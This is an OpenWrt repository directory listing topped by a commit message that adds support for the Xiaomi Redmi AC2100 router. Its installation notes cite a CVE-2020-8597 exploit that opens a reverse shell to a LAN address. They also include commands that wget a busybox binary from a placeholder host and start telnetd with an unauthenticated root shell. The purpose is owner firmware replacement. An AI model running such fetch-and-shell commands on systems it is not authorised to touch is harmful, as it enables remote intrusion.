openwrt-mirror/target/linux
Richard Huynh f3792690c4 ramips: Add support for Xiaomi Redmi Router AC2100 (RM2100)
Specification:
- CPU: MediaTek MT7621A
- RAM: 128 MB DDR3
- FLASH: 128 MB ESMT NAND
- WIFI: 2x2 802.11bgn (MT7603)
- WIFI: 4x4 802.11ac (MT7615)
- ETH: 3xLAN+1xWAN 1000base-T
- LED: Power, WAN, in Amber and White
- UART: On board near ethernet, opposite side from power
- Modified u-boot

Installation:

1. Run linked exploit to get shell, startup telnet and wget the files over
2. mtd write openwrt-ramips-mt7621-xiaomi_rm2100-squashfs-kernel1.bin kernel1
3. nvram set uart_en=1
4. nvram set bootdelay=5
5. nvram set flag_try_sys1_failed=1
6. nvram commit
7. mtd -r write openwrt-ramips-mt7621-xiaomi_rm2100-squashfs-rootfs0.bin rootfs0

Restore to stock:

1. Setup PXE and TFTP server serving stock firmware image
(See dhcp-boot option of dnsmasq)
2. Hold reset button down before powering on and wait for flashing amber led
3. Release reset button
4. Wait until status led changes from flashing amber to white

Notes:
This device has dual kernel and rootfs slots like other Xiaomi devices currently
supported (mir3g, etc.) thus, we use the second slot and overwrite the first
rootfs onwards in order to get more space.

Exploit and detailed instructions:

https://openwrt.org/toh/xiaomi/xiaomi_redmi_router_ac2100

An implementation of CVE-2020-8597 against stock firmware version 1.0.14

This requires a computer with ethernet plugged into the wan port and an active
PPPoE session, and if successful will open a reverse shell to 192.168.31.177
on port 31337.

As this shell is somewhat unreliable and likely to be killed in a random amount
of time, it is recommended to wget a static compiled busybox binary onto the
device and start telnetd with it.

The stock telnetd and dropbear unfortunately appear inoperable.
(Disabled on release versions of stock firmware likely)
Ie. wget https://yourip/busybox-mipsel -O /tmp/busybox
chmod a+x /tmp/busybox
/tmp/busybox telnetd -l /bin/sh

Tested-by: David Martinez <bonkilla@gmail.com>
Signed-off-by: Richard Huynh <voxlympha@gmail.com>
2020-05-20 15:26:22 +02:00
..
apm821xx kernel: bump 5.4 to 5.4.36 2020-04-30 00:52:04 +02:00
ar71xx ar71xx: mikrotik: mach-rbspi.c remove wlan id 2020-05-12 12:41:12 +02:00
arc770 treewide: remove maintainer variable from targets 2020-03-16 22:21:45 +01:00
archs38 archs38: switch to kernel 5.4 by default 2020-03-29 16:23:57 +02:00
armvirt kernel: remove non-existant symbols 2020-04-13 22:40:19 +02:00
at91 treewide: remove maintainer variable from targets 2020-03-16 22:21:45 +01:00
ath25 treewide: remove maintainer variable from targets 2020-03-16 22:21:45 +01:00
ath79 ath79: add support for TP-Link TL-WA901ND v4 and v5 2020-05-18 13:35:38 +02:00
bcm27xx bcm27xx: drop outdated kernel version switches from patches-5.4 2020-05-17 18:36:10 +02:00
bcm47xx kernel: bump 4.19 to 4.19.122 2020-05-12 12:36:28 +02:00
bcm53xx kernel: bump 5.4 to 5.4.36 2020-04-30 00:52:04 +02:00
bcm63xx bcm63xx: lzma-loader: rely on CHIP_ID for UART address 2020-05-20 11:15:29 +02:00
cns3xxx cns3xx: remove support for kernel 4.14 2020-04-12 13:43:52 +02:00
gemini samba36: Remove 2020-05-08 03:32:52 +03:00
generic kernel: mtdsplit: bcm_wfi: add sercomm support 2020-05-19 13:33:39 +02:00
imx6 imx6: add back perf monitor related config symbol 2020-04-25 13:22:28 +02:00
ipq40xx ipq40xx: replace "ok" with "okay" for status in DTS files 2020-05-12 19:16:41 +02:00
ipq806x ipq806x: switch to 5.4 kernel 2020-04-09 00:12:46 +02:00
ipq807x treewide: remove maintainer variable from targets 2020-03-16 22:21:45 +01:00
kirkwood kirkwood: disable image for Linksys EA3500 (Audi) 2020-04-29 18:04:16 +02:00
lantiq lantiq: fritz 7360 v2: remove additional supported devices 2020-05-18 11:59:22 +02:00
layerscape kernel: bump 5.4 to 5.4.40 2020-05-12 12:36:28 +02:00
malta malta: Remove kernel 4.14 support 2020-03-12 09:28:23 +01:00
mediatek kernel: bump 5.4 to 5.4.39 2020-05-07 12:53:06 +02:00
mpc85xx mpc85xx: restructure image receipts 2020-05-18 21:11:39 +02:00
mvebu mvebu: uDPU: switch default kernel and U-Boot PHY mode 2020-05-09 14:34:23 +02:00
mxs kernel: bump 5.4 to 5.4.28 2020-03-28 13:03:02 +01:00
octeon octeon: use kernel version 5.4 for testing 2020-04-23 18:38:54 +02:00
octeontx kernel: bump 5.4 to 5.4.38 2020-05-04 21:09:12 +02:00
omap omap: remove support for kernel 4.14 2020-04-28 01:10:48 +02:00
oxnas oxnas: move service file to correct place 2020-04-26 21:05:15 +02:00
pistachio treewide: remove maintainer variable from targets 2020-03-16 22:21:45 +01:00
ramips ramips: Add support for Xiaomi Redmi Router AC2100 (RM2100) 2020-05-20 15:26:22 +02:00
rb532 treewide: remove maintainer variable from targets 2020-03-16 22:21:45 +01:00
rockchip rockchip: add support for Pine64 RockPro64 2020-04-20 16:37:56 +02:00
samsung treewide: remove maintainer variable from targets 2020-03-16 22:21:45 +01:00
sunxi sunxi: remove unneeded shebang for preinit files 2020-05-05 13:09:19 +02:00
tegra tegra: correct cpu subtype 2020-03-28 22:58:36 +01:00
uml treewide: Remove self from MAINTAINER entries 2019-12-23 13:18:04 -08:00
x86 x86: fix unusable squashfs images by adding missing padding 2020-04-26 12:53:27 +02:00
zynq zynq: switch to kernel 5.4 2020-03-17 00:51:48 +01:00
Makefile